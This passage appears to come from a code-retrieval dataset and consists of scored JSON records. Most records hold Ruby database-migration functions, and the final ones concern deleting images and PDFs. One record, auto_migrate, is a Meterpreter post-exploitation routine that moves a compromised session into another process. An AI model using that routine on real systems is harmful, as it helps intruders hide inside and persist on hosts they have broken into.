%\n\t\t\t\t\t[ migration.description, direction, Time.now - start ]\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "f91cd12f3a1aa6d8c92cfbb3c7e97d12", "score": "0.6571115", "text": "def execute_generate_migration(name, options = nil)\n result = execute_generator 'migration', name, options\n result.last.last\n end", "title": "" }, { "docid": "0676c62518731d8342829210f3dbcf60", "score": "0.65704054", "text": "def apply #:nodoc:\n setup\n @direction == :up ? migrate_up : migrate_down\n end", "title": "" }, { "docid": "1c5f0c41da8919af1da034ca9c804210", "score": "0.6526497", "text": "def run(direction, database, version)\n Tenant.switch(database) do\n ActiveRecord::Migrator.run(direction, ActiveRecord::Migrator.migrations_paths, version)\n end\n end", "title": "" }, { "docid": "68e07845d6e7c008099f5c08623ccc4f", "score": "0.6285345", "text": "def run_migration\n @ran_migration = true\n migration_generator.run_migration\n end", "title": "" }, { "docid": "2708f296ad2e0b6c1b92ffacfc9771db", "score": "0.6276509", "text": "def migrate(direction)\n puts \"Will migrate #{direction}\"\n migration_directory = File.expand_path \"../dummy/db/migrate\", __FILE__\n migration_files = Dir[\"#{migration_directory}/[0-9]*_*.rb\"]\n migration_files.each {|migration_file| require migration_file} # require them so we can execute them\n case direction\n when :up\n migration_files.each { |file_name| $1.camelize.constantize.up if file_name =~ /[\\w\\/\\.]*\\/\\d*_(.*)\\.rb$/ }\n when :down\n # Originally: migration_files.sort.reverse.each { |file_name| $1.camelize.constantize.down if file_name =~ /[\\w\\/\\.]*\\/\\d*_(.*)\\.rb$/ }\n # But better to just drop all tables\n ActiveRecord::Base.connection.tables.each do |table_name|\n ActiveRecord::Base.connection.execute(\"DROP TABLE IF EXISTS '#{table_name}'\")\n end\n end\nend", "title": "" }, { "docid": "1f6c05c03e30549491b72ec96553510b", "score": "0.6234851", "text": "def migrate_commands; end", "title": "" }, { "docid": "6cb50461bdced02130d52635fa0f4832", "score": "0.62048465", "text": "def run_migrations(options = {})\n migrator.run(options)\n end", "title": "" }, { "docid": "537fb590b329437dac6163c2989167f1", "score": "0.6157117", "text": "def migrate desc, &block\n msg desc, 'starting'\n block.call\n\n msg desc, 'completed'\n end", "title": "" }, { "docid": "e18ddff5b3ddae9187096b0b381f8565", "score": "0.6141475", "text": "def run\n migration_tuples.each do |m, f, direction|\n t = Time.now\n db.log_info(\"Begin applying migration #{f}, direction: #{direction}\")\n checked_transaction(m) do\n m.apply(db, direction)\n fi = f.downcase\n direction == :up ? ds.insert(column=>fi) : ds.where(column=>fi).delete\n end\n db.log_info(\"Finished applying migration #{f}, direction: #{direction}, took #{sprintf('%0.6f', Time.now - t)} seconds\")\n end\n nil\n end", "title": "" }, { "docid": "da88c2c2941ce04ad931b72a5915ff33", "score": "0.61338395", "text": "def migration(name, &block)\n create_migrations_table\n return if database[migrations_table_name].filter(:name => name).count > 0\n migrations_log.puts \"Running migration: #{name}\"\n database.transaction do\n yield database\n database[migrations_table_name] << { :name => name, :run_at => Time.now }\n end\n end", "title": "" }, { "docid": "19a9ea918672d73a8581310af6204355", "score": "0.6131398", "text": "def run_default_migration\n load File.expand_path('../../../../lib/generators/partisan/templates/migration.rb', __FILE__)\n AddFollowsMigration.new.up\n end", "title": "" }, { "docid": "b490f0664b10574306ee201973ed19b5", "score": "0.6077127", "text": "def add_migration name\n argument_error(name)\n FileUtils.touch filename(name)\n end", "title": "" }, { "docid": "4b405945a4caf381e2ac26665640fcf8", "score": "0.6068037", "text": "def run_migrations\n # Currently this will always run so the resource will always update :-/\n # Better fix would be to shell_out! and parse the output?\n ruby_execute 'rake db:migrate' do\n command %w{rake db:migrate}\n user new_resource.parent.owner\n group new_resource.parent.group\n cwd new_resource.parent.path\n environment new_resource.app_state_environment\n ruby_from_parent new_resource\n parent_bundle new_resource.parent_bundle if new_resource.parent_bundle\n end\n end", "title": "" }, { "docid": "49418c8461009d9b16a112e8c9010cb1", "score": "0.60666585", "text": "def run(*migration_classes)\n opts = migration_classes.extract_options!\n dir = opts[:direction] || :up\n dir = (dir == :down ? :up : :down) if opts[:revert]\n if reverting?\n # If in revert and going :up, say, we want to execute :down without reverting, so\n revert { run(*migration_classes, direction: dir, revert: true) }\n else\n migration_classes.each do |migration_class|\n migration_class.new.exec_migration(connection, dir)\n end\n end\n end", "title": "" }, { "docid": "667cb6abfd5dc69da436f1efb778ffde", "score": "0.6058646", "text": "def migrate(direction)\n return unless respond_to?(direction)\n\n case direction\n when :up then announce_migration \"migrating\"\n when :down then announce_migration \"reverting\"\n end\n\n time = Benchmark.measure { send(direction) }\n\n case direction\n when :up then announce_migration \"migrated (%.4fs)\" % time.real; puts\n when :down then announce_migration \"reverted (%.4fs)\" % time.real; puts\n end\n end", "title": "" }, { "docid": "75eeb47a7a004910a5734a95fba3d22c", "score": "0.60424745", "text": "def run(*migration_classes)\n opts = migration_classes.extract_options!\n dir = opts[:direction] || :up\n dir = (dir == :down ? :up : :down) if opts[:revert]\n if reverting?\n # If in revert and going :up, say, we want to execute :down without reverting, so\n revert { run(*migration_classes, direction: dir, revert: true) }\n else\n migration_classes.each do |migration_class|\n migration_class.new.exec_migration(@connection, dir)\n end\n end\n end", "title": "" }, { "docid": "f718ed209a6127c3073739a6f733a805", "score": "0.6038753", "text": "def migrate(direction)\n return unless respond_to?(direction)\n\n case direction\n when :up then announce \"migrating\"\n when :down then announce \"reverting\"\n end\n\n time = nil\n ActiveRecord::Base.connection_pool.with_connection do |conn|\n time = Benchmark.measure do\n exec_migration(conn, direction)\n end\n end\n\n case direction\n when :up then announce \"migrated (%.4fs)\" % time.real; write\n when :down then announce \"reverted (%.4fs)\" % time.real; write\n end\n end", "title": "" }, { "docid": "f194dac40e584fa91d01f798172a6f9a", "score": "0.6014471", "text": "def migrate(migration_name)\n migration_statements(migration_name).each { |statement| run_statement(statement, client) }\n end", "title": "" }, { "docid": "4dde74d1eb24c64a251b8cb2830db84c", "score": "0.5997022", "text": "def migrate(version = nil)\n @logger.fine('Running core migrations...')\n super(File.join(FRAMEWORK_ROOT, 'automation/results_database/migrations'), version)\n end", "title": "" }, { "docid": "f524f6f3b546651461b906eb55eca0ee", "score": "0.59944284", "text": "def migrate(direction)\n return unless respond_to?(direction)\n\n case direction\n when :up then announce \"migrating\"\n when :down then announce \"reverting\"\n end\n\n time = nil\n ActiveRecord::Tasks::DatabaseTasks.migration_connection.pool.with_connection do |conn|\n time = Benchmark.measure do\n exec_migration(conn, direction)\n end\n end\n\n case direction\n when :up then announce \"migrated (%.4fs)\" % time.real; write\n when :down then announce \"reverted (%.4fs)\" % time.real; write\n end\n end", "title": "" }, { "docid": "bb58cd333ad8f8818ff46813a6e1184f", "score": "0.59597874", "text": "def exec_migration(conn, direction)\n super unless Rails.env.production?\n end", "title": "" }, { "docid": "041c437189253faccf1e73ba86585f49", "score": "0.5950406", "text": "def migrate(direction)\n return unless respond_to?(direction)\n\n case direction\n when :up then announce \"migrating\"\n when :down then announce \"reverting\"\n end\n\n time = nil\n ActiveRecord::Base.connection_pool.with_connection do |conn|\n @connection = conn\n if respond_to?(:change)\n if direction == :down\n recorder = CommandRecorder.new(@connection)\n suppress_messages do\n @connection = recorder\n change\n end\n @connection = conn\n time = Benchmark.measure {\n self.revert {\n recorder.inverse.each do |cmd, args|\n send(cmd, *args)\n end\n }\n }\n else\n time = Benchmark.measure { change }\n end\n else\n time = Benchmark.measure { send(direction) }\n end\n @connection = nil\n end\n\n case direction\n when :up then announce \"migrated (%.4fs)\" % time.real; write\n when :down then announce \"reverted (%.4fs)\" % time.real; write\n end\n end", "title": "" }, { "docid": "83c2eed5a13589a3961505a4c81f2ea3", "score": "0.59488106", "text": "def departure_migrate(direction)\n reconnect_with_percona\n include_foreigner if defined?(Foreigner)\n\n ::Lhm.migration = self\n active_record_migrate(direction)\n end", "title": "" }, { "docid": "d3028b446a985634db2c4d540239a747", "score": "0.59406453", "text": "def run\n migrations.zip(version_numbers).each do |m, v|\n timer = Sequel.start_timer\n db.log_info(\"Begin applying migration version #{v}, direction: #{direction}\")\n checked_transaction(m) do\n m.apply(db, direction)\n set_migration_version(up? ? v : v-1)\n end\n db.log_info(\"Finished applying migration version #{v}, direction: #{direction}, took #{sprintf('%0.6f', Sequel.elapsed_seconds_since(timer))} seconds\")\n end\n \n target\n end", "title": "" }, { "docid": "3274f8e3a9260ebf17b9c73b660baaf3", "score": "0.5935611", "text": "def up(&block)\n migration.up = block\n end", "title": "" }, { "docid": "ebb6eab9503573c1ff3408eef713853b", "score": "0.5916999", "text": "def migrate(direction)\n reconnect_with_percona\n include_foreigner if defined?(Foreigner)\n\n ::Lhm.migration = self\n original_migrate(direction)\n end", "title": "" }, { "docid": "1fe4a134d6fd3a8a129b9620e719a71f", "score": "0.58234483", "text": "def force_migrate(file_name)\n migration_file = @migrations_path + file_name\n load(migration_file)\n version, name = migration_version_and_name(migration_file)\n migration_class(name, version.to_i).migrate(@direction)\n migration_class_name = migration_class(name, version.to_i).name\n if @direction == :up and !schema_history_exists(version, migration_class_name)\n update_schema_history(version, migration_class_name)\n elsif @direction == :down and schema_history_exists(version, migration_class_name)\n update_schema_history(version, migration_class_name)\n end\n end", "title": "" }, { "docid": "0e270edc20da4342ea6a176eeeda9121", "score": "0.58224916", "text": "def force_migrate(migrations_path, file_name, direction)\n migrator = self.new(direction, migrations_path)\n migrator.force_migrate(file_name)\n end", "title": "" }, { "docid": "a967e6081125dd961493fd2ee6671970", "score": "0.58175534", "text": "def migration\n\t\t\t\tif file_name.blank? \n\t\t\t\t\tputs \"file name required\"\n\t\t\t\telse\n\t\t\t\t\ttime_stamp = Time.now.strftime('%Y%m%d%H%M%S%L')\n\t\t\t\t\tdestination = \"db/seeder/#{time_stamp}_#{File.basename(file_name.underscore)}_seed.rb\"\n\t\t\t\t\texisting_migrations = Dir['db/seeder/*.rb']\n\t\t\t\t\tmigration_result = existing_migrations.select{ |f| f.include? file_name.underscore}\n\t\t\t\t\tif migration_result.count > 0\n\t\t\t\t\t\tdestination = migration_result.first\n\t\t\t\t\tend\n\t\t\t\t\tif !File.exists?('db/seeder')\n\t\t\t\t\t\tempty_directory 'db/seeder'\n\t\t\t\t\tend\n\t\t\t\t template 'migration_template.rb', destination\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "0f63d91a0561a8d27489b00e41bb073a", "score": "0.5801967", "text": "def migrate direction\n\t\t\t\tbegin\n\t\t\t\t\tif @database[\"adapter\"] == nil\n\t\t\t\t\t\treturn false, \"[!] Invalid database adapter, please check your configuration file\"\n\t\t\t\t\tend\n\n\t\t\t\t\tActiveRecord::Base.establish_connection(@database)\n\t\t\t\t\trequire 'kekkan/base/schema'\n\t\t\t\t\tSchema.migrate(direction)\n\n\t\t\t\t\tif direction == :up\n\t\t\t\t\t\tputs \"[*] Creating tables\"\n\t\t\t\t\t\tver = Version.create\n\t\t\t\t\t\tver.version = Kekkan::VERSION\n\t\t\t\t\t\tver.save\n\t\t\t\t\tend\n\n\t\t\t\t\tputs \"[*] Dropping tables\" if direction == :down\n\n\t\t\t\t#@todo temp hack, fix this by checking the schema on :up or :down for exiting data\n\t\t\t\trescue SQLite3::SQLException => sqlitex\n\t\t\t\t\tputs \"#{sqlitex.message}\\n #{sqlitex.backtrace}\" if @options[:debug]\n\t\t\t\t\tcontinue\n\t\t\t\trescue ActiveRecord::AdapterNotSpecified => ans\n\t\t\t\t\tputs \"[!] Database adapter not found, please check your configuration file\"\n\t\t\t\t\tputs \"#{ans.message}\\n #{ans.backtrace}\" if @options[:debug]\n\t\t\t\t\texit\n\t\t\t\trescue ActiveRecord::AdapterNotFound => anf\n\t\t\t\t\tputs \"[!] Database adapter not found, please check your configuration file\"\n\t\t\t\t\tputs \"#{ans.message}\\n #{ans.backtrace}\" if @options[:debug]\n\t\t\t\t\texit\n\t\t\t\trescue => e\n\t\t\t\t\tputs \"[!] Exception! #{e.message}\\n#{e.backtrace}\"\n\t\t\t\t\texit\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "3da1cd7d53bca61149b5a31dcad37d16", "score": "0.5800361", "text": "def apply\n migration.down\n end", "title": "" }, { "docid": "b910f748c72635bb9c872c05b36958d1", "score": "0.5795329", "text": "def auto_migrate!(repository_name = self.repository_name)\n assert_valid\n auto_migrate_down!(repository_name)\n auto_migrate_up!(repository_name)\n end", "title": "" }, { "docid": "6ee4c0c02dfabeaa32d6f4346360005b", "score": "0.57920957", "text": "def up\n wrap :up\n end", "title": "" }, { "docid": "271d2cba68d112ab2f8ab2c9fdc3058f", "score": "0.5788536", "text": "def migrate\n status 'Migrating ...'\n\n project.migrate!(options[:environment])\n\n status 'Migrated'\n end", "title": "" }, { "docid": "9a0a6593e60d2f5f5d205fb02e0795a3", "score": "0.57827497", "text": "def run_migrations\n `bin/rake db:migrate`\n end", "title": "" }, { "docid": "75bb3216e9d4c944e1fea3c1f1450f22", "score": "0.5761222", "text": "def run_migration\n find_fixture\n migration_class.new\n end", "title": "" }, { "docid": "94a78429aec6bb7deaac4e503b717f40", "score": "0.5740713", "text": "def redo!\n version!(:next)\n migrate!\n end", "title": "" }, { "docid": "f0010d2b4537f1127205b60c31e62ad2", "score": "0.57293886", "text": "def run(sql)\n super\n @database.execute sql\n end", "title": "" }, { "docid": "c126844d4f1a8836f36dff62c690b67c", "score": "0.5722333", "text": "def migrate_db\n run_migrations\n end", "title": "" }, { "docid": "2969b0191e544973182f54e54c86c622", "score": "0.57203424", "text": "def execute_initial_migration\n migration_folders = get_migration_folders\n\n migration_folders.each do |dirname|\n run \"echo #{dirname} | tee -a #{shared_path}/executed_migrations\"\n end\n end", "title": "" }, { "docid": "938b55fb01fca31e2fd6180963394219", "score": "0.571389", "text": "def auto_migrate!(repository_name = nil)\n repository_execute(:auto_migrate!, repository_name)\n end", "title": "" }, { "docid": "52b95203a0158bd737aaafac461b92dd", "score": "0.5711337", "text": "def auto_migrate!(repository_name = self.repository_name)\n assert_valid(true)\n auto_migrate_down!(repository_name)\n auto_migrate_up!(repository_name)\n end", "title": "" }, { "docid": "5228d99685b9dcecbb4cdacf3ca54b18", "score": "0.5707972", "text": "def execute_down( name )\n schema = get_schema( name )\n show_changes( schema, Schema.new )\n end", "title": "" }, { "docid": "86bde6155655253b4b6aea17e96e88d9", "score": "0.5706773", "text": "def migrate(version = nil)\n @logger.fine('Running web migrations...')\n super(File.join(Automation::FRAMEWORK_ROOT, Automation::FET_DIR, 'web/database/migrations'), version)\n end", "title": "" }, { "docid": "29d3ac2b13efccbd9b3414e98cf9fab7", "score": "0.57037234", "text": "def start_migration(org, repositories, options = T.unsafe(nil)); end", "title": "" }, { "docid": "ebc6a7beca8f70d0457b64f2b9800a23", "score": "0.5697148", "text": "def up(logger = @non_displaying_logger)\n Maglev.abort_transaction\n to_do = migrations_todo\n logger.info(\"Already applied all migrations.\") if to_do.empty?\n to_do.sort.each do |mig|\n mig.logger = logger\n logger.info(\"Doing '\" + mig.name + \"' from \" + mig.timestamp.to_s)\n mig.do\n migration_store << mig.id\n end\n Maglev.commit_transaction\n end", "title": "" }, { "docid": "e0c88cd78c3bd3cc88b3c4328fab31f5", "score": "0.5678878", "text": "def do\n do_uc = Migrate::Do.new\n do_uc.dryrun = true if options[ :dryrun ]\n do_uc.dryrun = false unless options[ :dryrun ]\n do_uc.do()\n end", "title": "" }, { "docid": "4100a860c4b48e66150d31192f83789c", "score": "0.56743586", "text": "def migrate(direction)\n return unless respond_to?(direction)\n\n case direction\n when :up then\n announce \"migrating\"\n when :down then\n announce \"reverting\"\n end\n\n result = nil\n time = ::Benchmark.measure { result = send(\"#{direction}_without_benchmarks\") }\n\n case direction\n when :up then\n announce \"migrated (%.4fs)\" % time.real; write\n when :down then\n announce \"reverted (%.4fs)\" % time.real; write\n end\n\n result\n end", "title": "" }, { "docid": "fd58a16ae65c968fdd173ba6949a4a3a", "score": "0.56626487", "text": "def up\n file = File.join(File.dirname(__FILE__), 'up.sql')\n sql = File.read(file)\n execute sql\n end", "title": "" }, { "docid": "b8ff0adc169f9703129252ffe19adddd", "score": "0.5662197", "text": "def change(&block)\n migration.up = block\n migration.down = MigrationReverser.new.reverse(&block)\n end", "title": "" }, { "docid": "701918b344b79b491e5d8ccb3e4c3331", "score": "0.5661369", "text": "def auto_migrate!\n DataMapper.auto_migrate!(name)\n end", "title": "" }, { "docid": "701918b344b79b491e5d8ccb3e4c3331", "score": "0.5661369", "text": "def auto_migrate!\n DataMapper.auto_migrate!(name)\n end", "title": "" }, { "docid": "85947f239d5e0fe320023eec55f80797", "score": "0.5656793", "text": "def migrate\n return unless options.migrate?\n\n rake 'api_sampler:install:migrations'\n rake 'db:migrate SCOPE=api_sampler'\n end", "title": "" }, { "docid": "bc8ba048441234d174556ae7ea5547cc", "score": "0.5654216", "text": "def applying_migrations(options)\n build_migration_bond(options).applying_migrations\n end", "title": "" }, { "docid": "8aa65c6970e624d789ceaeeb2891703e", "score": "0.56466764", "text": "def migrate(datastore_name, migration_name)\n datastore_lookup(datastore_name).migrate(migration_name)\n end", "title": "" }, { "docid": "98036ecd16d18bc04663c89f5acd486f", "score": "0.5645229", "text": "def migrate(direction)\n return unless respond_to?(direction)\n\n case direction\n when :up then announce \"migrating\"\n when :down then announce \"reverting\"\n end\n\n result = nil\n time = Benchmark.measure { result = send(\"#{direction}_without_benchmarks\") }\n\n case direction\n when :up then announce \"migrated (%.4fs)\" % time.real; write\n when :down then announce \"reverted (%.4fs)\" % time.real; write\n end\n\n result\n end", "title": "" }, { "docid": "16bf051cc67b978a255660570dca38e8", "score": "0.5632244", "text": "def execute_migrations!\n migrations = [MakeStandardTables, FixAttachmentsPolymorphicTable]\n existing = SchemaMigration.all.collect{ |el| el.version }\n\n migrations.reject!{ |e| existing.include? e.to_s}\n\n migrations.each do |migration|\n ActiveRecord::Migration.run(migration)\n SchemaMigration.create(:version => migration.name)\n end\n end", "title": "" }, { "docid": "2bb33c7cecedc601afa54d01a9b5789f", "score": "0.56305665", "text": "def do_data_migration\n current_user.migration_complete!\n end", "title": "" }, { "docid": "d4aaed8678dbd7615aa17bc63928290c", "score": "0.56001127", "text": "def up(*_args)\n\n end", "title": "" }, { "docid": "c6c841ae68893f682b31fc4e2a3561b0", "score": "0.5593715", "text": "def run_migration\n rake \"db:migrate\", :env => \"test\"\n end", "title": "" }, { "docid": "e080a2d263bd8365c1c2bd158b21774b", "score": "0.55933654", "text": "def migrate!(env=:production)\n invoke [:migrate], env\n end", "title": "" }, { "docid": "d757d89ae948666a9234a82a949a62ba", "score": "0.5585273", "text": "def migrate(direction)\n if uses_departure?\n departure_migrate(direction)\n else\n reconnect_without_percona\n active_record_migrate(direction)\n end\n end", "title": "" }, { "docid": "3deb1e2afc5836e3d71a668261a60ece", "score": "0.55848956", "text": "def execute_apply( db_name, name )\n db = get_db( db_name )\n schema = get_schema( name )\n apply_schema( db, schema )\n end", "title": "" }, { "docid": "f027e2df864c0b635243117a7d3ae20e", "score": "0.5569656", "text": "def migrate(delta)\n if delta == 0\n return\n elsif delta > 0 # up\n run = @versions[@current+1, delta]\n else # down\n run = @versions[@current+delta+1..@current].reverse!\n end\n\n setup run\n\n error = nil\n begin\n run.each do |m|\n method = :\"#{m.tag}_#{delta > 0 ? 'up' : 'down'}\"\n log :info, \"Migrating #{method} (#{m.id}) ...\"\n \n require m.file\n\n if respond_to? method\n start = Time.now\n before_each m\n begin\n send method\n rescue Exception => error\n break\n ensure\n after_each error\n log :info, \"... #{error ? 'error' : 'completed'} (#{'%.2f' % (Time.now-start)}).\"\n end\n else\n log :warn, \"#{method} is not defined; ignoring\"\n log :info, \"... skipped.\"\n end\n\n @current += (delta <=> 0)\n end\n rescue Exception => error\n ensure\n teardown error\n end\n\n !error\n end", "title": "" }, { "docid": "82b142cee69359230b2e6938ff59646f", "score": "0.55587035", "text": "def run_on_change(paths)\n self.migrate(paths.map{|path| path.scan(%r{^db/migrate/(\\d+).+\\.rb}).flatten.first})\n end", "title": "" }, { "docid": "d654b99c760e3386f8ec92afd0440a21", "score": "0.5535016", "text": "def bulk_schedule_migration(start:, finish:)\n ::HashedStorage::MigratorWorker.perform_async(start, finish)\n end", "title": "" }, { "docid": "b76ed91a735df9ce3be7adaab1b37d4b", "score": "0.5530934", "text": "def do_migrate(migrate_dir,version)\r\n version = version.to_i if version\r\n ActiveRecord::Migrator.migrate(migrate_dir, version).inspect\r\n end", "title": "" }, { "docid": "7955f4e5aed4c51db122eacd8ddd164f", "score": "0.55288875", "text": "def perform_up\n result = nil\n\n if needs_up?\n # TODO: fix this so it only does transactions for databases that support create/drop\n # database.transaction.commit do\n if @up_action\n say_with_time \"== Performing Up Migration ##{position}: #{name}\", 0 do\n result = @up_action.call\n end\n end\n\n update_migration_info(:up)\n # end\n end\n\n result\n end", "title": "" }, { "docid": "f0415d135295568ed1c393c2eb83594e", "score": "0.5524372", "text": "def migrate_up!(level = nil)\n migrations.sort.each do |migration|\n if level.nil?\n migration.perform_up()\n else\n migration.perform_up() if migration.position <= level.to_i\n end\n end\n end", "title": "" }, { "docid": "e8f4a9e47689f36128cfc5eb065fdcd8", "score": "0.5523202", "text": "def update_migration_info(direction)\n save, @verbose = @verbose, false\n\n create_migration_info_table_if_needed\n\n if direction.to_sym == :up\n execute(\"INSERT INTO #{migration_info_table} (#{migration_name_column}) VALUES (#{quoted_name})\")\n elsif direction.to_sym == :down\n execute(\"DELETE FROM #{migration_info_table} WHERE #{migration_name_column} = #{quoted_name}\")\n end\n @verbose = save\n end", "title": "" }, { "docid": "1350df962a3dae5b43513faa3a5221b1", "score": "0.55116934", "text": "def schema_migration; end", "title": "" }, { "docid": "fed404b3738587b48972a5765f1d01ee", "score": "0.55048084", "text": "def execute\n return unless @robot.table\n @robot.direction=next_direction[@robot.direction]\n end", "title": "" }, { "docid": "248c2985c5beb7181dc13a051d50565b", "score": "0.55041903", "text": "def run(*migration_classes); end", "title": "" }, { "docid": "2818ba20d59774c9eafa86dc74087c3c", "score": "0.55010146", "text": "def execute(sql)\n super\n @database.execute2 sql\n end", "title": "" }, { "docid": "347e9e1040986414d651cec77e6dfb06", "score": "0.54850733", "text": "def auto_migrate(pid_name)\n\toriginal_pid = session.sys.process.getpid\n\ttarget_pid = session.sys.process[pid_name]\n\tif not target_pid\n\t\tprint_error(\"Could not identify the target process ID for #{pid_name}!\")\n\t\tprint_error(\"Can't migrate automatically without it, sorry....\")\n\t\traise Rex::Script::Completed\n\telse\n\t\tbegin\n\t\t\tprint_status(\"Migrating from #{original_pid} to #{target_pid}....\")\n\t\t\tsession.core.migrate(target_pid)\n\t\t\tprint_good(\"Successfully migrated to process #{target_pid}!\")\n\t\trescue ::Exception => e\n\t\t\tprint_error(\"Could not migrate in to process!\")\n\t\t\tprint_error(e)\n\t\tend\n\tend\nend", "title": "" }, { "docid": "e26ca4403ae6cd359336fe2dea6cc4cb", "score": "0.5484514", "text": "def migrate(version, direction, logger = $stdout)\n raise 'Passed non-lhm migration for parsing' unless lhm_migration?(version)\n\n migration_command = Migrator.migrate(version, direction)\n\n ok = Runner.execute(migration_command, logger)\n mark(direction, version) if ok\n nil\n end", "title": "" }, { "docid": "2da132033727cdd9cd4009f6d9be7483", "score": "0.54682136", "text": "def up\n exchange_order\n end", "title": "" }, { "docid": "a39c73e226ea0ac36a13655f32f3624a", "score": "0.545992", "text": "def update_sql(sql, name = nil)\n super.cmd_tuples\n end", "title": "" }, { "docid": "a39c73e226ea0ac36a13655f32f3624a", "score": "0.545992", "text": "def update_sql(sql, name = nil)\n super.cmd_tuples\n end", "title": "" }, { "docid": "fa35d0576d2de3069c72cb79a32463ba", "score": "0.545875", "text": "def execute(sql, name = nil)\n end", "title": "" }, { "docid": "fa35d0576d2de3069c72cb79a32463ba", "score": "0.545875", "text": "def execute(sql, name = nil)\n end", "title": "" }, { "docid": "0d7190167ecb9138d653b42034b7464b", "score": "0.544238", "text": "def update_sql(sql, name = nil)\n super.cmd_tuples\n end", "title": "" }, { "docid": "0ed75861f92f21fbebd986269fa1b2c9", "score": "0.5422158", "text": "def auto_migrate!(repository_name = nil)\n auto_migrate_down!(repository_name)\n auto_migrate_up!(repository_name)\n end", "title": "" }, { "docid": "f4a71db2c417ad824b0c9742ef07007c", "score": "0.54166955", "text": "def generate\n Rails.logger.info(\"Arguments: #{table_name},#{column_name}\")\n migration_template('migration.rb',\n \"#{db_migrate_path}/add_#{column_name}_column_to_#{table_name}.rb\")\n end", "title": "" }, { "docid": "854c164044e9c51ea4b6a3803533f45a", "score": "0.5410209", "text": "def migrate!\n DataMapper.auto_migrate!\n end", "title": "" }, { "docid": "8162354d9d75f5ef9db27dd75b9896fb", "score": "0.54050577", "text": "def fluent_migrator(*args, &block)\n require 'physique/tasks/fluent_migrator'\n\n Albacore.define_task *args do |task_name, own_args|\n c = Physique::FluentMigrator::Config.new\n yield c, own_args\n Physique::FluentMigrator::Task.new(c.opts).execute\n end\n end", "title": "" }, { "docid": "5e9567e9d596c3f913bf7703d4820539", "score": "0.5402204", "text": "def migrate\n self.class.pending_migration_files.each do |file|\n # clear migrations array before loading\n @migrations = nil\n # load last migration for rollback\n load file\n # migration class will be loaded to @migrations\n migration = @migrations.last\n next unless migration\n\n # apply migration if can be rolled UP\n if migration.can_rollup?\n Sequel::Model.db.transaction(savepoint: true) {\n migration.up.apply\n report_with.applied(migration)\n }\n end\n # create log entry in data migrations table\n TradeTariffBackend::DataMigration::LogEntry.log!(file)\n end\n end", "title": "" }, { "docid": "79e63e9d895859a36d200cb70a9bf9fc", "score": "0.53864413", "text": "def migrate(klass)\n # Validate\n raise \"Unable to perform migrations, class must be specified!\" unless klass.class == Class\n raise \"Unable to perform migrations for core class!\" if CORE.include?(klass)\n raise \"Class cannot be migrated!\" unless klass.respond_to?(:auto_migrate!)\n # Execute auto migrations for now\n klass.auto_migrate!\n end", "title": "" }, { "docid": "b604e4f0dba08f2f571ff492532c1ec7", "score": "0.53726554", "text": "def migrate\n migration_classes.each do |(version, migration_class)|\n Base.logger.info(\"Reached target version: #{@target_version}\") and break if reached_target_version?(version)\n #next if irrelevant_migration?(version) # this line removed\n\n Base.logger.info \"Migrating to #{migration_class} (#{version})\"\n migration_class.migrate(@direction)\n update_schema_history(version, migration_class.name) # this line added\n set_schema_version(version)\n end\n end", "title": "" }, { "docid": "5bee198fdba2a0eab09b185aa2350268", "score": "0.53717834", "text": "def up\n\n end", "title": "" }, { "docid": "fb01fd2521a7ee46b68a8bd6213a008b", "score": "0.5370447", "text": "def up\n true\n end", "title": "" }, { "docid": "946ee82a0e7c9d0c939a417fa5b5e032", "score": "0.53674364", "text": "def move_database\n \n end", "title": "" }, { "docid": "dacf8c7ee700159442dc90518cbfeebd", "score": "0.53667665", "text": "def mark(direction, version)\n if direction == :up\n PerconaMigrator::SchemaMigration.create!(version: version.to_s)\n elsif direction == :down\n PerconaMigrator::SchemaMigration.where(version: version.to_s).delete_all\n end\n end", "title": "" } ]
8cb7cac566bd1cfe11dcd27b8094b259
Delete the image after it has been rendered in the pdf.
[ { "docid": "b3aa8a6d7f3c41dcee7f54c60843d527", "score": "0.69402206", "text": "def delete_image(image_name)\n File.delete(image_name)\n end", "title": "" } ]
[ { "docid": "441005c2c3a4fd1f109b1c0310ddbb88", "score": "0.7118611", "text": "def delete_files\n\t\t\tFileUtils.rm_rf(@clean_image)\n\t\t\tFileUtils.rm_rf(@image) if pdf?\n\t\tend", "title": "" }, { "docid": "e57471cbc7e4d176ba238b8ec1f6425f", "score": "0.7111299", "text": "def destroy\n @image.destroy\n end", "title": "" }, { "docid": "e57471cbc7e4d176ba238b8ec1f6425f", "score": "0.7111299", "text": "def destroy\n @image.destroy\n end", "title": "" }, { "docid": "ce5b4ae36eb732e55834e29cf579e406", "score": "0.70016813", "text": "def destroy\n @pdf.pdf.purge\n @pdf.jpegs.purge\n @pdf.destroy\n redirect_to pdfs_url, notice: (t '.notice')\n end", "title": "" }, { "docid": "4dcdc6d0e5462b19cf47e9c324370a77", "score": "0.6979216", "text": "def destroy\n request(:delete, \"/computing/image/#{uuid}\")\n true\n end", "title": "" }, { "docid": "86d0ee28091c283b802bb852b2e6c5ee", "score": "0.6976425", "text": "def destroy\n @family_image.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "e7269f38f8c330559ddedc452d124681", "score": "0.697174", "text": "def destroy_image?\n self.image.clear if @image_delete == \"1\"\n end", "title": "" }, { "docid": "70054a41474f0ed06e2b758f070d5665", "score": "0.6845318", "text": "def deletePDF\n\n\t\tFileUtils.rm_rf('./storage/PDFs/docraptor-ruby.pdf')\n\n\tend", "title": "" }, { "docid": "88941689781edc7c2947a11e09bc925e", "score": "0.68278646", "text": "def delete_image_attachment\n @image = ActiveStorage::Attachment.find(params[:id])\n @image.purge\n redirect_back(fallback_location: items_path)\n end", "title": "" }, { "docid": "ec6cb1c539ca5a035af636b164739eba", "score": "0.6826478", "text": "def destroy\n @documentary.remove_thumbnail = true\n @documentary.save!\n head :no_content\n end", "title": "" }, { "docid": "57bd3fa2addb492e891315203ffd8263", "score": "0.680835", "text": "def cleanup\n self.image = nil\n GC.start\n end", "title": "" }, { "docid": "57bd3fa2addb492e891315203ffd8263", "score": "0.680835", "text": "def cleanup\n self.image = nil\n GC.start\n end", "title": "" }, { "docid": "1f63cae471bf2b8d02c15db3585d9e46", "score": "0.6802", "text": "def destroy\n @web_display_car_image.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "8ab0cd03e6f0fedb963326a15b594569", "score": "0.6789655", "text": "def destroy\n @image_attrib.destroy\n end", "title": "" }, { "docid": "42fd6f94decc45d3dd5b2ba0cdb101e5", "score": "0.6754213", "text": "def destroy\n @graphic.destroy\n end", "title": "" }, { "docid": 